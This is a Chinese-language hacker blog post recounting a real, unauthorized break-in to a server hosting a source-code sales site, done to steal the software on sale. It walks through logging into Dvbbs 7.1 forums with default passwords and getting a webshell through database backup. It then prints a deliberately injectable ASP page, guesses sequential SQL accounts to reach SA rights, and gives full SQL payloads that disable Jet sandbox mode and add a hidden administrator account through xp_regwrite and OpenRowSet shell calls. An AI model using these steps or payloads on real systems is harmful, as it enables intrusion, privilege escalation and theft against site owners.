艰难渗透源码销售站点题外话:最近想做几个垃圾站玩玩。可手上又没有啥好程序。郁闷。那些网上免费的程序又没多少好玩意。百度看看网上谁卖程序。方便的话,搞几个下来玩玩好了。一:小碰头:百度上找了一会,看到这个站上有几个我喜欢的程序。咋办?试试看吧。当时一看这站,哪像个出售源码程序的站。这么丑。用的啥系统我想大家不说我说也知道了吧。当然,人家手上既然有这么多源码,想必也是通过自己的入侵手段搞来的。那他的主站也基本上就不需要看了。随便在一个url上添加个单引号出现了这个。加了防注入了.算了。不错主站入手了。拿出我们最喜欢的东西吧。()查到同一服务器上有这些站。有53个站。心里开心了。旁注有望啊。从主站也得知这些网站都是网站管理员的出售中的程序。所以给他们分配的也都是2级域名。大家会想了。2级域名?会不会如果直接搞定一个webshell,就可以得到所有程序呢?因为他们这些演示站点或许会是在主站的下级目录吧。当初我也这么想的。先不说这个了。下面我们开始吧。我首先瞄准了大家看到了什么?对,论坛。而且是动网7.1的。不是吧?这么简单就可以搞到一个webshell了?还卖源码呢.唉。动网默认的密码就进去了。咱们登陆后台拿webshell吧。Dvbbs7.1首先考虑后台导出模板然后备份拿webshell.然后就导出了。问题也就来了。去看看备份数据库那里能否备份。是可以备份的。导出模板不可以。上传文件总还是会允许的吧?结果无论我上传什么类型的文件。无论我怎么伪造文件。都显示这个。难怪管理员会这么放心的把密码设为默认的。我想大概是方便购买的人查看吧。想了想。要是这样的话?那不会所有的2级网站都是这样吧?我是个不服输的人。大不了一个一个试。不就53个网站么?经历了“无数”的数据库只读,无写入权限等问题。几乎所有的2级都是这样。看来管理员还是挺有意识。尴尬了。怎么办?不会就这么放弃吧。二:峰回路转。我没有放弃。接着又找到一动网7.1默认密码。哈哈。百密终有一疏啊。这么多的站。总算还有一个没把权限给卡住啊。成功导出后。然后通过备份拿到一个webshell.终于叹了口气。搞了大半天终于拿到了一个webshell..提权吧。无ws无任何第3方可以直接利用软件。……Aspx的马马运行不了(其实服务器是支持.net的)。跳转的d:/web/跳转不了……唉。提权无望啊。又不知道其他目录的名称。社工了好几个,都不能跳转。想了想,同级目录会不会允许跳转呢?带着侥幸的心理尝试了下。大家会说了,根本就不知道其他的网站目录其实要想知道一个同级目录也不难。刚刚咱们不是还有个动网默认密码的没搞下来么?大家有没想到什么?动网后台在数据处理的系统信息检测可以看到网站的路径的。呵呵。对了。(其实还有的其他几个站点可以通过aspcheck.asp来得知的。)哈哈。跳转成功。但也就只能跳这个三级目录。不过不要紧。舒服的东西在下面呢。习惯性的看了下数据库连接文件。strconn=driver={sqlserver};server=(local);uid=xxx;pwd=xxx;database=xxx呵呵。是个SQL的数据库。试试是否可以上传文件到这个站。唉。权限还是不够啊。那就用SQLtool直接连接吧。我晕。怎么可能呢?密码难道错误?不会啊。重新找了一下数据库连接我文件。也就那么一个。那到底怎么回事呢?很明显,禁止了外部连接1433端口。如果是这样的话那好办。传个SQLrootkit就可以了。事实证明了这一点。我用webshell自带的SQL连接工具连接了。在我意料之中。这仅仅是个db权限的数据库而已。Db权限的数据库?大家想到了什么?呵呵。对了。Db权限的注入点可以列目录啊。既然服务器允许我们跳转到3级目录(这只是暂时的猜想,因为毕竟暂时只有一个3级目录被我们跳转了)。XP_CMDSHELL.............存在!SP_OACREATE.............存在!XP_REGWRITE.............存在!XP_SERVICECONTROL存在!经查询。这些都还在。那就好办了。直接构造注入点吧。!--#includefile=xx.asp--%setrs=server.createobject(ADODB.recordset)id=request(id)strSQL=select*fromadminwhereid=&idrs.openstrSQL,conn,1,3rs.close%这里的admin必须是一个存在的表名。我们可以通过SQL连接工具执行SQL命令查询。selectnamefromsysobjectswheretype='U'查询出我们需要的表名。或者我也在../conn/encode.asp这个文件里找到这一句。sql=selectcount(*)fromloginwhereid=&cint(myid)很明显。这里的login就可以被我们用上。strSQL=select*fromloginwhereid=&id我们构造出这样的语句替换到上面的代码中。至此。终于有了突破。成功构造了注入点。呵呵。能够列出目录了。我们现在会想。要想搞到3389的终极权限。现在只能靠1433这个口子了。既然服务器支持我们跳转到某些目录。那咱们一一试过去不就行了。事情证明。找1433实在是太辛苦了。有的人大概会一个目录一个目录的去找吧。但有的网站只是access的。其实这也是我当初的做法。后来兄弟可酷可乐告诉我。直接列出这个目录d:\ProgramFiles\MicrosoftSQLServer\MSSQL\Data\数据库的前缀基本上是有规律的。那就是跟二级域名很相似。直接去找那些目录就可以了。这样就可以省下很多事。找到目录后,一一的在webshell上跳转。很顺利。在通过几次观察后。管理员把SQL帐户设置的很有规律。aaa1aaa2aaa3aaa4aaa5……而密码有都是一样的。我这个人就是懒,喜欢偷懒。那这些用户中会否有一个是SA的权限呢?赶紧去一个一个试。我从aaa1试到aaa16。呵呵。恭喜!SQLSERVER最高权限。还等什么?赶紧”netuser”吧。xpsql.cpp:错误5来自CreateProcess(第737行)郁闷了。出现了这样的情况。没有足够的权限创建进程。难道不是SA权限?SA都被降权了?c:\windows\system32\cmd.exe没有被删啊那怎么办?想要用SQL查询分析器连接吧,但1433又不对外开放。外部不可以连接。想把服务器上的1433端口转发到本地吧。又无ws.网上查了查资料。用沙盒模式提权来试下再来构造个个SA的注入点。这不难。继续构造。再次执行selectnamefromsysobjectswheretype='U'查询myadmin这个数据库中的表名。好了。成功构造出来了。接着就是沙盒模式提权了。=1;EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--=1;Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell(netuseraloner$aloner/add)');--=1;Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell(netlocalgroupadministratorsaloner$/add)');--返回正常。说明成功了。或者用HDSI执行下面这些SQL命令。EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell(netuseraloneraloner/add)');Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','selectshell(netlocalgroupadministratorsaloner/add)');至此,总算搞到system权限。顺便搞了几个程序。总结一下:这次入侵没什么技术性。咱们渗透一个站点的时候,最重要的是不断的尝试+思路。这次渗透主要还是大胆的实验和假设加上管理员的疏忽吧。演示站点的权限没有设置好。